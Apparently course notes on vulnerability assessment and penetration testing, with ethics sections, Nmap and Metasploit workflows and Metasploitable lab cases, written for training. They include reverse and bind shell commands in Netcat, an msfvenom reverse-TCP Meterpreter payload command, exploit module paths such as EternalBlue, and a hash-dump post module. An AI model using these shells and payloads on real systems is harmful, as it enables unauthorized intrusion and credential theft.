Use MFA and strong account controls	These reduce the damage of a stolen password, although they do not eliminate phishing risk.

9. Metasploit Framework context

Metasploit Framework provides modules that support security-testing tasks, including controlled exploitation demonstrations. It was first released in 2003 and is associated with Rapid7. In a vulnerability-assessment workflow, it is relevant mainly when a controlled validation step has been explicitly authorized.

Module type	Role	Relationship to vulnerability assessment
Auxiliary	Modules for tasks such as scanners, fuzzers, sniffers, spoofers, and other actions that do not necessarily execute a payload.	Can support discovery or controlled validation. Some auxiliary modules can be intrusive.
Exploit	A module designed to take advantage of a particular vulnerability.	Use only when proof-of-concept exploitation is explicitly allowed and necessary.
Payload	Code delivered or executed as a result of exploitation.	Payload execution moves beyond ordinary assessment and requires strict authorization and safety controls.
Post	Modules used after a system is already accessed to gather information or perform additional actions.	Outside normal vulnerability assessment; relevant to later penetration-testing stages.
Encoder, NOP, and evasion components	Supporting module categories.	Technical framework components; not a justification to bypass controls or expand scope.

Boundary: Discovering that an exploit module exists is research. Running it against a system is an active exploitation step. Never cross that boundary without explicit written authorization, an agreed method, and a safe target environment.

10. Compact reference

10.1 Core distinctions

Do not confuse	Correct distinction
Open port vs vulnerability	An open port is an exposed communication endpoint. A vulnerability exists when a weakness, unsafe configuration, unnecessary exposure, or applicable flaw creates risk.
Passive vs safe	Passive methods avoid directly probing the target network, but public information can still be sensitive, outdated, or ethically inappropriate to collect.
Active scan vs exploit	A scan sends probes to gather evidence. Exploitation attempts to trigger or use a weakness to demonstrate impact.
Vulnerability assessment vs penetration test	Assessment discovers and investigates weaknesses. Penetration testing may carefully demonstrate attack paths and impact.
Severity vs risk	Severity describes technical characteristics. Risk includes asset value, exposure, likelihood, impact, and controls.
Scanner result vs validated finding	Automation produces candidate findings. A reportable finding should be checked against the asset and supported with evidence.
Phishing vs spam	Phishing seeks deception for compromise. Spam is unsolicited messaging; it may or may not contain phishing.

10.2 High-value command reference

Command / option	Meaning	Operational note
`whois example.com`	Query domain registration data.	Passive-to-low-impact mapping step.
`host example.com`	Query DNS mapping.	Check hostname and address relationships.
`nslookup example.com`	Query DNS data.	Useful for selected DNS records and interactive checks.
`netdiscover -r 192.168.1.0/24 -f`	Discover local hosts in fast mode.	Use only on an authorized local range.
`nmap -sn <target>`	Host discovery only.	No port scan.
`nmap -Pn <target>`	Skip host discovery.	Treat targets as online and continue requested scanning.
`nmap -sT <target>`	TCP connect scan.	Full connection and easy to log.
`sudo nmap -sS <target>`	TCP SYN scan.	Half-open style scan; still detectable.
`sudo nmap -sF <target>`	TCP FIN scan.	Silence is often open|filtered.
`sudo nmap -sU <target>`	UDP scan.	Connectionless behavior often makes interpretation slower and ambiguous.
`nmap -sV <target>`	Service and version detection.	Enrich scan results.
`sudo nmap -O <target>`	Operating-system detection.	Fingerprint-based inference.
`nmap -A <target>`	Advanced feature bundle.	OS detection, version detection, script scanning, and traceroute.
`nmap -p- <target>`	Scan ports 1-65535.	Broader and slower than default.
`nmap -oA baseline <target>`	Save normal, XML, and grepable output.	Retain evidence for analysis and reporting.
`nmap --script-help <script>`	Read NSE script help.	Review behavior before execution.

10.3 Quick triage questions for any discovered service

12. Is the asset in the authorized scope?
13. Is the observation current and independently verifiable?
14. What port, protocol, product, version, and configuration are actually present?
15. Is the service required, or is exposure unnecessary?
16. Which known weaknesses, advisories, CVEs, or scanner checks might apply?
17. Which prerequisites and compensating controls affect exploitability?
18. What is the safest validation method?
19. What evidence should be recorded?

20. What remediation is appropriate, and how will retesting confirm it?

10.4 Sources and supplementary references

Source material: SDU Centre for Industrial Software (CIS), Cybersecurity (F26), 02 - Vulnerability Assessment, presented by Sani Abdullahi, Ph.D., 11 February 2026.

Supplementary technical clarification sources: official Nmap reference documentation for host discovery, port-scanning techniques, output formats, service detection, operating-system detection, timing, and NSE; official Tenable documentation for credentialed scanning and findings; Greenbone Community documentation for GVM and OpenVAS components; PortSwigger Burp Suite documentation for proxy interception; Rapid7 Metasploit documentation for module categories; Shodan Help Center for query fundamentals; Netcraft research-tools site report; and the Internet Archive Wayback Machine.

Final principle: A vulnerability assessment is a controlled evidence-gathering process. Discover, interpret, validate, prioritize, remediate, and retest. Tools accelerate the work; they do not replace authorization, engineering judgment, or careful reporting.

Lab 2: Vulnerability Assessment - Practical Commands

Recon scan chain (exact commands)

```
whois sdu.dk   # registrant: Syddansk Universitet
host www.sdu.dk   # resolve -> 52.233.201.66
whois 52.233.201.66   # who owns that IP / network block
```

Nmap scan-type comparison

```
sudo nmap -sS 10.0.2.4 | tee syn_ms2.txt   # SYN/stealth (half-open)
sudo nmap -sT 10.0.2.4 | tee connect_ms2.txt   # full TCP connect
sudo nmap -sV -O -sC 10.0.2.4 | tee comp_ms2.txt   # version+OS+scripts
```

Scan	Flag	What it reveals
SYN/stealth	-sS	Open ports fast; half-open, less logged. MS2 ~23 open, MS3 ~18.
TCP connect	-sT	Same ports as SYN; completes 3-way handshake, more detectable.
Comprehensive	-sV -O -sC	Exact service versions (for CVE matching), OS guess, NSE script output.

Key: Only -sV gives versions you map to CVEs, e.g. vsftpd 2.3.4 -> CVE-2011-2523, UnrealIRCd 3.2.8.1 -> CVE-2010-2075. Port 1524 shows as an open root bindshell.

Scanner comparisons: Nessus vs GVM/OpenVAS

Nessus and GVM/OpenVAS are vuln scanners; cross-check findings against Nmap version list. **Authenticated scans** (valid creds) find more than unauthenticated - local patch level, missing updates, weak config - because they look from inside the host. Treat every scanner result as a hypothesis: confirm the service/version before calling it a vulnerability.

CYBERSECURITY

Chapter 03: Penetration Testing

Technical knowledge notes

Ethics, reconnaissance support, Netcat, shells, Metasploit modules, lab exploitation cases, post-exploitation, Meterpreter, and MSFvenom

Authorized lab use only: The commands and concepts are for controlled, explicitly authorized testing. Do not run scanners, shells, exploits, payloads, credential checks, or post-exploitation actions against systems that are not in a written scope. Use isolated training targets such as Metasploitable.

Contents

Knowledge map

Area	What must be understood
Pentest role	A penetration test is an authorized, scoped simulation that tests a running system. It demonstrates realistic impact but cannot prove total security.
Ethics	Permission, scope, proportionality, non-harm, evidence handling, and reporting determine whether technical actions are acceptable.
Netcat	Netcat reads and writes network streams. In a lab it illustrates listeners, connections, bind shells, reverse shells, and simple file transfer.
Metasploit	Metasploit organizes reusable modules: auxiliary, exploit, payload, post, encoder, NOP, and newer evasion modules. Console workflow matters as much as module names.
Post-exploitation	After access, testers gather the minimum evidence needed to demonstrate impact, then stop, preserve evidence, and clean up.
MSFvenom	MSFvenom generates payload files or byte streams. Payloads are not harmless files: generation, delivery, execution, and handlers must remain inside a controlled scope.

1. Penetration testing purpose, boundaries, and ethics

1.1 Definition and relationship to other security activities

Penetration testing is an authorized simulated attack against a running system. The goal is to determine whether selected weaknesses can be used to produce a meaningful security impact, and to communicate that impact safely. A penetration test is evidence-driven: it should show what was tested, what happened, what did not happen, and what should be fixed.

Activity	Central question	Typical output
Vulnerability assessment	Which hosts, services, versions, configurations, and known weaknesses appear to exist?	A validated and prioritized weakness inventory.
Penetration testing	Can selected weaknesses be exploited or chained in a controlled way to demonstrate realistic impact?	A scoped proof of impact, attack path narrative, evidence, and remediation advice.
Threat modeling	What could go wrong in the architecture, design, deployment, or operating assumptions?	A structured model of assets, boundaries, threats, mitigations, and residual risk.

Core limitation: A penetration test is not a guarantee of security. It is bounded by time, scope, credentials, techniques, tool coverage, tester knowledge, and the state of the environment. It complements secure design, threat modeling, hardening, monitoring, incident response, and continuous reassessment.

1.2 Standard penetration-testing workflow

Phase	Purpose	Important control
Permission and rules of engagement	Establish authority, scope, dates, allowed techniques, prohibited actions, data-handling rules, and emergency contacts.	No active action starts before written permission and a clear target list.
Information gathering	Collect organizational, network, DNS, service, and version information.	Gather only what is needed. Respect privacy and scope.
Threat modeling and test design	Decide what the test covers and which attack paths matter.	Prioritize high-value scenarios and avoid uncontrolled experimentation.

Phase	Purpose	Important control
Vulnerability analysis	Relate observations to weaknesses, prerequisites, and likely impact.	Validate before exploit selection. Do not treat a scanner result as proof.
Controlled exploitation	Use the least harmful proof needed to establish impact.	Stop conditions, backups, rate limits, and rollback plans matter.
Reporting, remediation, retesting	Document findings, fix them, and verify the fix.	Evidence must be reproducible, minimal, protected, and useful to defenders.

1.3 A simple hacker taxonomy

Label	Meaning	Important nuance
Black hat	Acts with malicious intent, such as profit, damage, or ideological destruction.	The defining issue is harmful or unauthorized intent and action.
White hat	Performs ethical hacking with permission to improve security, assess risk, or conduct a penetration test.	Permission alone is not enough: actions must remain in scope and proportionate.
Grey hat	May believe the goal is beneficial but hacks without permission.	A self-image of doing good does not override the system owner's perspective or legal boundaries.
Script kiddy	A slang term for an inexperienced person who relies on ready-made tools or scripts without understanding them.	Tool use is not the problem; uncritical use, lack of understanding, and unsafe behavior are the problem.

A system administrator and a penetration tester may use overlapping tools. The distinction lies in authorization, purpose, scope, timing, change control, documentation, and accountability. A technically capable action can still be unethical when it violates consent or creates unreasonable risk.

1.4 Trust, privileged access, and professional restraint

Large systems depend on trust in privileged users: administrators, operators, developers, service providers, and testers. Some controls can reduce the amount of trust required, for example encryption, separation of duties, logging, approvals, and least privilege. A complete breakdown of trust is expensive because it forces every action to be verified or isolated.

Kant's categorical-imperative idea can be used as an ethical lens: would the action still be acceptable if everyone with the same access acted in the same way? In practical penetration testing, this becomes a discipline of permission, minimization, reversibility, evidence protection, and honest reporting.

Ethical test: Ask: Is this authorized? Is it necessary? Is there a safer proof? Could it disrupt service or expose personal data? Can it be reversed? Is the evidence being protected? Would the client understand and approve the action?

2. Why real testing matters and what it complements

2.1 Incident examples: internet-facing edge systems and ransomware

The incident example groups examples involving FortiGate firewalls, Ivanti Connect Secure and Policy Secure gateways, VPN zero-day exploitation, and LockBit ransomware disruption. The shared lesson is that internet-facing edge devices and remote-access systems are high-value targets: they sit at a trust boundary, are reachable from outside, and can become a path into internal networks when vulnerable or misconfigured.

Lesson	Why it matters for penetration testing
Test externally reachable control points	Firewalls, VPN gateways, identity endpoints, and remote-access services often deserve early attention because compromise can bypass perimeter assumptions.
Validate configuration as well as version	A secure product can still be unsafe when exposed incorrectly, configured weakly, or left with unnecessary accounts and services.
Treat access as the beginning, not the end	A foothold can lead to lateral movement, credential exposure, persistence, and ransomware impact.
Retest after remediation	Patching a single weakness does not prove the entire attack path is closed.

2.2 Historical survey figures

This uses a Sophos/Vanson Bourne survey as motivation for testing actual systems. The figures are contextual evidence, not timeless constants: the example reports a survey of 3,100 IT managers in 12 countries and states that 68% of companies had experienced a cyberattack, one in five did not know how the attacker entered, 37% of threats were discovered at servers, and another 37% were detected on the network.

Interpretation: The security lesson is more important than the exact percentages: organizations cannot close weaknesses they have not found. Detecting an attacker only after activity reaches servers or broad network monitoring points may mean the attacker has already spent time inside the environment.

2.3 NIS2 accuracy note

This connects penetration testing with the EU NIS2 Directive. The precise legal point should be stated carefully: NIS2 requires covered entities to use appropriate and proportionate cybersecurity risk-management measures, including vulnerability handling and disclosure and policies and procedures to assess the effectiveness of cybersecurity risk-management measures. Penetration testing can be one way to assess effectiveness, but the Directive text does not state that every covered entity must always perform the same penetration test on the same schedule. Applicability also depends on sector, entity type, national implementation, and risk context.

3. Host-side observation: sockets and DNS

3.1 Listing open sockets and active connections

Before exploiting anything, a tester or administrator often needs to understand what a host is listening on and which connections are active. A listening socket suggests that a local process is waiting for traffic on an address and port. An established connection shows communication that is already in progress. Process ownership is important because the same port exposure can have different security implications depending on the program and privilege level.

Command / item	Meaning	Operational note
`netstat -antp`	Show TCP sockets numerically, including listening and active connections; request process information where available.	Process information may require elevated privileges. netstat is common on older systems.
`ss -at4n`	Show IPv4 TCP sockets numerically.	ss is a modern replacement for many netstat use cases.
`sudo lsof -i:8080`	Show processes associated with network port 8080.	lsof lists open files; network sockets are represented as file descriptors on Unix-like systems.

Observation	What it may indicate	What it does not prove
A service listens on 0.0.0.0:PORT	The process accepts traffic on all local IPv4 interfaces unless filtered elsewhere.	It does not prove that the service is reachable from every network.
A service listens on 127.0.0.1:PORT	The process is bound to local loopback only.	It does not prove the service is harmless; local compromise or proxying may still matter.
An unexpected established connection exists	The host is communicating with a remote endpoint.	It does not automatically prove malicious activity; ownership, timing, and context must be investigated.

3.2 Querying the Domain Name System

DNS is hierarchical. A hostname can map to one or more IP addresses, and DNS records can reveal mail systems, aliases, authoritative nameservers, and delegation paths. DNS queries help a tester understand infrastructure before selecting deeper checks.

Command / item	Meaning	Operational note
`nslookup www.google.com`	Query DNS for a hostname or address mapping.	Interactive and simple; output depends on the resolver used.
`host www.google.com`	Perform a concise DNS lookup.	Useful for quick mapping.
`host -a gmail.com`	Request a more verbose set of DNS information.	May reveal several record types.
`dig +trace www.google.com`	Trace DNS delegation from the root toward the requested name.	Useful for understanding resolution path and authoritative servers.

4. Netcat: pipes, bind shells, reverse shells, and file transfer

4.1 What Netcat is

Netcat, commonly invoked as nc, is a small command-line utility that reads and writes bytes over network connections using TCP or UDP. It can act as a client or a listener. This makes it useful for troubleshooting, protocol exploration, controlled lab exercises, and understanding how network streams can be connected to files or processes.

Variant warning: Several Netcat implementations exist. Some lab variants support -e for process execution and the

listed listen syntax. Many modern OpenBSD-style nc builds omit -e. Never assume that a command is portable across variants.

4.2 Opening a basic TCP pipe

A listener waits on a local port. A client connects to the listener. Bytes typed on one side travel across the TCP stream and appear on the other side. This illustrates the foundation beneath later shell and file-transfer examples.

Command / item	Meaning	Operational note
`nc -lvnp <port>`	Listen verbosely on a local port without name resolution.	Run only on an isolated lab host. Syntax differs among nc variants.
`nc <ip> <port>`	Connect to the listener at the selected address and port.	The IP should be the listening host in the lab.

Flag	Meaning in examples
-l	Listen for an incoming connection.
-v	Verbose output.
-n	Use numeric addresses; avoid DNS lookups.
-p	Specify a port in variants where this form is supported.
-e	Execute a program after connection in variants that implement this dangerous feature.

4.3 Bind shell

A bind shell attaches a command shell to a listening port on the target. The tester connects inbound to that port. In this example, the listener starts a shell process and the second host connects to it. Once connected, commands such as whoami and id reveal the user identity and group context of the shell.

Command / item	Meaning	Operational note
`nc -lvnp <port> -e /bin/bash`	Illustrative lab form: listen and attach /bin/bash.	Extremely dangerous: anyone who can reach the port may obtain command execution. Many nc builds do not support -e.
`nc <target-ip> <port>`	Connect to the bind-shell listener.	Inbound reachability, host firewall policy, and routing determine whether this works.
`whoami; id`	Inspect the user and group context after connecting.	A shell may be low privilege or high privilege. Never assume administrator access.

Bind-shell model: Target listens -> tester connects inbound -> attached shell receives commands. This is easy to understand but often blocked by firewalls, NAT, or network segmentation.

4.4 Reverse shell

A reverse shell changes the direction of the connection. The tester starts an empty listener. The target initiates an outbound connection and attaches its shell to the connection. The tester then types commands on the listening side.

Command / item	Meaning	Operational note
`nc -lvnp <port>`	Start an empty listener on the tester-controlled lab host.	The listener waits for the target to connect back.
`nc <tester-ip> <port> -e /bin/bash`	Illustrative lab form: connect outward and attach /bin/bash.	Use only on deliberately vulnerable training systems. Many nc builds omit -e.
`whoami; id`	Check the identity of the remote shell.	Evidence should be minimal and recorded safely.

Why reverse shells appear in security testing	Explanation
Outbound connectivity may be easier than inbound connectivity	Firewalls and NAT often restrict unsolicited inbound connections more strongly than outbound traffic.
They demonstrate impact clearly	A successful callback proves that code execution can create an interactive control channel.
They are still detectable	Endpoint controls, egress filtering, network monitoring, and unusual process behavior can reveal or block the connection.

4.5 Simple file transfer

Because Netcat transports byte streams, standard input and output redirection can send a file from one host and write it on another. This is a protocol demonstration rather than a secure transfer mechanism: the stream is normally unencrypted, lacks authentication, and should remain inside an isolated lab.

Command / item	Meaning	Operational note
`nc -lvnp <port> < file_to_send`	Listen and stream a local file to the connecting peer.	The sender exposes the bytes to any peer that reaches the listener.
`nc <ip> <port> > received_file`	Connect and redirect received bytes into a local file.	Verify file size and hash in a lab; do not use for sensitive data.

5. Metasploit Framework: concepts, modules, and console workflow

5.1 What Metasploit is and why it is used

Metasploit is a framework for organizing security-testing modules, payloads, options, sessions, and supporting workflows. It helps testers reuse known checks and exploits in a consistent interface. The framework does not replace understanding: a tester still needs to confirm applicability, understand side effects, choose a safe proof, and inspect code when risk is unclear.

A key warning is against blindly downloading exploits from the internet. A public proof of concept may be incorrect, destructive, backdoored, or designed for a different environment. Review the code, understand the preconditions, and prefer trusted sources and isolated targets.

5.2 Module categories

Module type	Purpose	Examples of use
Auxiliary	Reconnaissance, data retrieval, scanners, fuzzers, sniffers, spoofers, login checks, and other actions that are not exploit modules with payloads.	Service-version checks, protocol enumeration, and controlled credential validation.
Exploit	Uses a target weakness to trigger a security impact. An exploit may deliver or select a payload.	A vulnerability-specific proof of impact on a deliberately vulnerable target.
Payload	Code or behavior executed after successful exploitation.	A command shell or Meterpreter session.
Post	Actions used after a session exists.	Gather logged-on users, inspect network settings, enumerate applications, or check protections.
Encoder	Transforms payload bytes, often to satisfy character or transport constraints.	Encoding is not encryption and is not a reliable guarantee of antivirus or IDS bypass.
NOP	No-operation support used in exploit construction, historically important for buffer-overflow payload placement.	Helps build exploit buffers where appropriate.
Evasion	A newer module type also present in current Metasploit documentation.	Used for controlled testing of defensive detection and response. It is separate from simple encoding.

Accuracy note: Encoders can change representation but do not guarantee antivirus or IDS evasion. Modern defenses inspect behavior, memory, process relationships, and many other signals.

5.3 Starting and navigating msfconsole

Command / item	Meaning	Operational note
`msfconsole`	Start the Metasploit console.	Use a controlled lab environment.
`help`	List commands and descriptions.	Read help before running unfamiliar actions.
`search appletv`	Search for modules matching a term.	Search results can be selected by number or path.
`use 0`	Select module result number 0.	The number comes from the current search result list.
`use <module-path>`	Select a module directly by path.	Prefer the explicit path in notes and reports.
`back`	Leave the currently selected module context.	Returns to the higher-level console prompt.
`info`	Show metadata, description, options, references, rank, and notes for the selected module.	Review before use.
`show options`	Show configurable module and payload options.	Check which values are required.
`show missing`	Show required values not yet configured.	Useful before run or exploit.
`set <name> <value>`	Set a module-level datastore option.	For example set RHOSTS <lab-target-ip>.
`run / exploit`	Execute a configured module.	Only after scope, preconditions, side effects, and stop conditions are understood.

Command / item	Meaning	Operational note
`exit`	Leave msfconsole.	Close sessions and document cleanup as appropriate.

5.4 Common datastore options

Option	Meaning	Common context
RHOST / RHOSTS	Remote target host or host set.	Target address or addresses for a scanner or exploit.
RPORT	Remote target port.	The service port used by the selected module.
LHOST	Local listen address used by a callback handler.	The tester-side address reachable from the target for a reverse connection.
LPORT	Local listen port used by a callback handler.	The tester-side callback port.
PAYLOAD	Code or session type selected for execution after exploitation.	May default automatically, but must be reviewed.
SESSION	Existing session identifier.	Used by post modules after access has been established.

Direction matters: R means remote target. L means local listener or callback side. For reverse payloads, the target initiates a connection toward LHOST:LPORT.

6. Auxiliary scanners and exploit-module selection

6.1 Auxiliary scanners

Command / item	Meaning	Operational note
`scanner/smb/smb_version`	Identify SMB service version information.	Useful before considering SMB-specific checks.
`auxiliary/scanner/mssql/mssql_ping`	Probe for Microsoft SQL Server information.	Confirm scope and avoid unnecessary load.
`scanner/ssh/ssh_version`	Identify SSH server version information.	Version evidence guides vulnerability research but does not prove exploitability.
`auxiliary/scanner/ftp/anonymous`	Check whether anonymous FTP access is allowed.	Use only when credential testing is authorized.
`auxiliary/scanner/ftp/ftp_version`	Identify FTP server version information.	Used in before the vsFTPd lab case.
`auxiliary/scanner/vnc/vnc_login`	Perform controlled VNC login checks.	Credential testing can trigger alerts or lockouts. Use only on training targets or with explicit permission.
`auxiliary/scanner/http/http_version`	Identify HTTP server information.	A starting point for web-server assessment.

6.2 Exploit modules

Exploit modules are vulnerability-specific. A matching module path does not mean that a target is vulnerable. Confirm product, version, architecture, configuration, network reachability, mitigation state, and scope before any controlled proof.

Target family	Module path	What it represents
Windows	exploit/windows/smb/ms17_010_eternalblue	A lab example associated with the MS17-010 SMB weakness and remote Windows kernel impact.
Windows	exploit/windows/browser/ms11_003_ie_css_import	A historical browser/CSS-related exploit module example.
Windows	exploit/windows/fileformat/ms15_100_mcl_exe	A historical file-format exploit-module example.
Linux / Unix	exploit/unix/ftp/vsftpd_234_backdoor	The intentionally vulnerable vsFTPd 2.3.4 backdoor lab case.
Multi-platform HTTP	exploit/multi/http/php_cgi_arg_injection	A PHP CGI argument-injection module example.
Linux local	exploit/linux/local/sock_sendpage	A local Linux kernel-flaw module example; local access is a prerequisite.

Do not confuse remote and local modules: A local exploit requires an existing foothold on the target. A remote exploit is reached over a network path. A file-format or browser exploit usually depends on a separate delivery and execution path.

7. Controlled lab cases: VNC, vsFTPd backdoor, and EternalBlue

7.1 VNC login protocol: scanner to access demonstration

The VNC example illustrates a transition from auxiliary discovery to a controlled login demonstration on Metasploitable 2. The tester searches for a VNC-related module, selects auxiliary/scanner/vnc/vnc_login, sets RHOSTS to the training target, and runs the check. In screenshot, the scanner reports a successful VNC login using the password password on TCP port 5900. The tester then launches a VNC viewer against the lab target and authenticates.

Stage	What is learned	Security lesson
Search and select the VNC scanner	Metasploit can locate modules by protocol or keyword.	Choose a module that matches the service and intended test.
Review options and set RHOSTS	Scanner behavior is controlled by datastore options such as target address, port, wordlists, and concurrency.	Credential checks can cause lockouts and noise; scope and rate control matter.
Run against the training target	The lab scanner reports whether a tested login works.	A working credential is a security finding even when no software exploit is required.
Validate with VNC viewer in the lab	The desktop becomes reachable with the discovered credential.	Impact can often be with the least invasive proof: authenticated access without changing data.

7.2 vsFTPd 2.3.4 backdoor lab case

Metasploitable 2 intentionally includes a vulnerable vsFTPd 2.3.4 service on FTP port 21. first uses the FTP-version scanner, then selects exploit/unix/ftp/vsftpd_234_backdoor. The notable question is why a shell appears on TCP port 6200: the compromised distribution of vsFTPd contained backdoor behavior that can cause a command shell to listen on that separate port after a trigger is sent to the FTP service.

Port	Role in the lab case
21/TCP	The FTP service is contacted and identified as vsFTPd 2.3.4.
6200/TCP	The backdoor shell listener appears here after the vulnerable backdoor behavior is triggered.

Why repeat with Nmap and Netcat?: proposes reproducing the lab concept without Metasploit so that the learner understands the underlying service discovery, trigger, and second-port shell behavior rather than treating the framework as a magic button. Keep the exercise inside Metasploitable 2.

7.3 EternalBlue lab case and Meterpreter session

The Metasploitable 3 Windows example uses the EternalBlue SMB module to illustrate exploitation of a vulnerable lab target and the creation of a Meterpreter session. The tester searches for EternalBlue, selects the matching exploit module, reviews options, sets the target address in RHOSTS and the callback address in LHOST, and runs the module only against the intentionally vulnerable environment.

Concept	Meaning
SMB service	A file-sharing and network-service protocol commonly associated with TCP port 445 on newer systems.
MS17-010 / EternalBlue context	A historical SMB vulnerability family used here as a lab demonstration of remote impact.
Meterpreter session	A post-exploitation session type that provides commands for controlled information gathering and evidence collection.
Callback settings	For a reverse session, the target must be able to reach the configured LHOST:LPORT.

Safety rule: Never use a vulnerability-specific exploit merely because a port is open. Validate the target, patch state, architecture, service behavior, module notes, side effects, and written authorization first.

8. Post-exploitation and Meterpreter evidence collection

8.1 Purpose and boundaries after access

Post-exploitation begins after a session exists. The tester asks what the initial access means: Which identity was obtained? What data or services are reachable? Could the host expose internal network paths? What evidence is sufficient to demonstrate impact?

The correct answer is not to collect everything. Use the smallest set of actions that proves the risk and stop when the objective is met.

Principle	Practical meaning
Data minimization	Collect only the evidence necessary to prove the finding. Avoid opening personal or sensitive files unless explicitly required.
Scope containment	Do not pivot, escalate privileges, activate sensors, or contact additional systems unless the rules of engagement allow it.
Non-harm	Avoid changes that disrupt services, alter data, weaken controls, or create persistence unless a specifically approved test requires them.
Evidence protection	Store screenshots, logs, hashes, credentials, and copied files securely and delete them according to the agreed process.
Cleanup	Remove test payloads, files, accounts, listeners, and sessions created during the exercise.

8.2 Post modules

Command / item	Meaning	Operational note
`post/windows/gather/enum_logged_on_users`	Enumerate logged-on users on a Windows target.	Demonstrates identity exposure and potential access context.
`post/windows/gather/checkvm`	Check whether the Windows target appears to be a virtual machine.	Useful for understanding environment context.
`post/windows/gather/enum_applications`	Enumerate installed applications on a Windows target.	Can reveal attack surface and software inventory.
`post/linux/gather/enum_protections`	Inspect Linux protection-related information.	Use only when post-exploitation enumeration is authorized.
`post/linux/gather/hashdump`	Attempt to collect password-hash material.	Highly sensitive. Avoid unless explicitly permitted and required.
`post/linux/gather/enum_network`	Enumerate Linux network information and settings.	The historical path contains a linus typo; the intended path is linux.

8.3 Meterpreter commands

Command or capability	What it reveals or does	Risk level and restraint
arp	Shows ARP-cache IP and MAC relationships associated with the target.	Can reveal nearby systems; do not extend scope automatically.
netstat	Shows network listeners and connections on the target.	Useful to understand reachability and active communication.
ps	Lists running processes.	Can reveal services, user context, and security tools.
ls, cd	Navigate and list directories.	Do not browse unrelated data. Use only paths necessary for evidence.
download, upload	Copy a file from or to the target.	High impact and sensitive. Prefer test files and record hashes.
enumdesktops, getdesktop, screenshot	Select a desktop and capture a screenshot.	Screenshots may contain personal data. Obtain explicit approval and protect evidence.
Camera, microphone, and keylogging capabilities	Demonstrate that a compromised session may reach intrusive sensors or input capture.	Extremely intrusive. Do not activate in real engagements unless separately authorized, justified, and legally reviewed.

Important distinction: Post-exploitation is not uncontrolled exploration. It is a bounded evidence phase. The tester demonstrates business-relevant impact with minimum intrusion and documents every action.

9. MSFvenom payload generation and safe delivery concepts

9.1 What MSFvenom does

MSFvenom combines payload-generation and encoding functionality historically associated with msfpayload and msfencode. It generates Metasploit-compatible payload material in a selected output format. A generated payload is executable security-test material: it can create a remote-control session when executed and must be treated as sensitive.

Command / item	Meaning	Operational note
`msfvenom -l payloads`	List available payloads.	Use this to inspect possible payload names in a lab.
`msfvenom -p <payload> -f <format> LHOST=<ip> LPORT=<port>`	Generate a payload in a selected output format with callback settings.	The exact required parameters depend on the payload.

Command / item	Meaning	Operational note
`msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=<lab-ip> LPORT=4444 -o payload.exe`	Generate a Windows executable reverse-TCP Meterpreter payload for an isolated lab.	Do not distribute or execute outside the training environment.

9.2 Important MSFvenom flags

Flag	Meaning	Concise explanation
-p	Payload	Select the Metasploit payload path, such as a reverse-TCP Meterpreter payload.
-f	Output format	Select the generated representation, for example exe or elf when appropriate to the target platform.
-a	Architecture	Choose the target architecture, such as x86, when it is not inferred or when an explicit choice is required.
--platform	Platform	Specify the target platform, such as Windows, when an explicit platform selection is useful.
-e	Encoder	Request an encoder. Encoding is not a guarantee of defensive bypass.
-o	Output file	Write the generated payload to a file.
LHOST, LPORT	Callback settings	Tell a reverse payload where to connect when it executes.

A shorter command can infer the platform and architecture from the payload path, while a more explicit command states x86 architecture and the Windows platform before writing an executable output file. Understand what is inferred and what is configured explicitly.

9.3 Reverse payload lifecycle

Stage	What happens	Control question
Generate	MSFvenom creates the selected lab payload with callback parameters.	Is the payload correct for the authorized target platform and architecture?
Prepare a handler	A listener or Metasploit handler waits for the reverse callback.	Is LHOST reachable from the lab target, and is LPORT allowed in scope?
Deliver inside the lab	The file reaches the training target through an approved method.	Is this an intentionally vulnerable test machine and an approved transfer channel?
Execute inside the lab	The target launches the payload and initiates the callback.	Are endpoint side effects understood and reversible?
Observe and clean up	The session demonstrates impact, then test artifacts and sessions are removed.	Was only minimal evidence collected, and has cleanup been verified?

9.4 Payload delivery methods: answer at the correct level

Payload delivery methods include an approved lab file transfer, a test deployment mechanism, a shared-folder exercise, a controlled download page, an authorized email simulation, or a client-side test scenario. The engagement must specify whether user interaction, social engineering, attachments, browser testing, or application deployment is allowed.

Boundary: Generating a payload does not authorize delivering it. Delivering a payload does not authorize executing it. Executing it does not authorize unrestricted post-exploitation. Each stage needs scope, controls, and cleanup.

10. Compact technical reference

10.1 Fast comparison table

Concept	Definition	Key distinction
Penetration test	Authorized, scoped simulated attack against a running system.	Demonstrates realistic impact; does not guarantee security.
Bind shell	Target listens with a shell attached; tester connects inbound.	Inbound reachability is required.
Reverse shell	Target initiates an outbound connection to a tester listener and attaches a shell.	Often crosses network boundaries differently from a bind shell.
Auxiliary module	Metasploit module for reconnaissance, retrieval, scanners, login checks, and other non-exploit tasks.	Does not require an exploit payload model.

Concept	Definition	Key distinction
Exploit module	Vulnerability-specific action used to trigger an impact.	Only applicable when prerequisites match.
Payload	Code or behavior executed after exploitation.	May create a shell or session.
Post module	Action executed after a session exists.	Used for controlled evidence gathering, not unlimited browsing.
Encoder	Transforms bytes.	Not a reliable guarantee of AV or IDS bypass.
MSFvenom	Payload-generation tool.	Produces sensitive test artifacts that need strict handling.

10.2 Quick command lookup

Command / item	Meaning	Operational note
`netstat -antp`	TCP sockets and process context.	Host observation.
`ss -at4n`	IPv4 TCP socket view.	Host observation.
`sudo lsof -i:8080`	Process associated with port 8080.	Host observation.
`dig +trace <name>`	Trace DNS delegation.	Infrastructure mapping.
`nc -lvnp <port>`	Netcat listener in lab syntax.	Variant-dependent.
`msfconsole`	Start Metasploit console.	Framework entry point.
`search <term>`	Find Metasploit modules.	Use keywords or protocol names.
`use <module-path>`	Select a module.	Review with info and show options.
`show missing`	List required unset options.	Check before execution.
`set RHOSTS <lab-target>`	Set target host set.	Remote target option.
`set LHOST <lab-listener>`	Set reverse-callback listener address.	Local callback option.
`run / exploit`	Execute configured module.	Authorized lab only.
`msfvenom -l payloads`	List MSFvenom payloads.	Inspect before generating.

10.3 Defensive interpretation

Offensive observation	Defensive control or detection idea
Unexpected listening ports or services	Maintain asset inventory, host firewall policy, least exposure, and process-aware monitoring.
Reverse-shell callback	Use egress filtering, DNS and proxy controls, endpoint monitoring, network telemetry, and unusual parent-child process detection.
Weak VNC credential	Disable unnecessary remote desktop services, use strong authentication, restrict network access, and monitor login attempts.
Outdated vulnerable FTP service	Remove unnecessary services, patch or replace unsupported software, segment networks, and scan continuously.
SMB exploitation path	Patch promptly, reduce SMB exposure, segment networks, monitor SMB behavior, and restrict administrative reachability.
Post-exploitation enumeration	Alert on unusual process discovery, network discovery, credential access, file transfer, and sensor access.
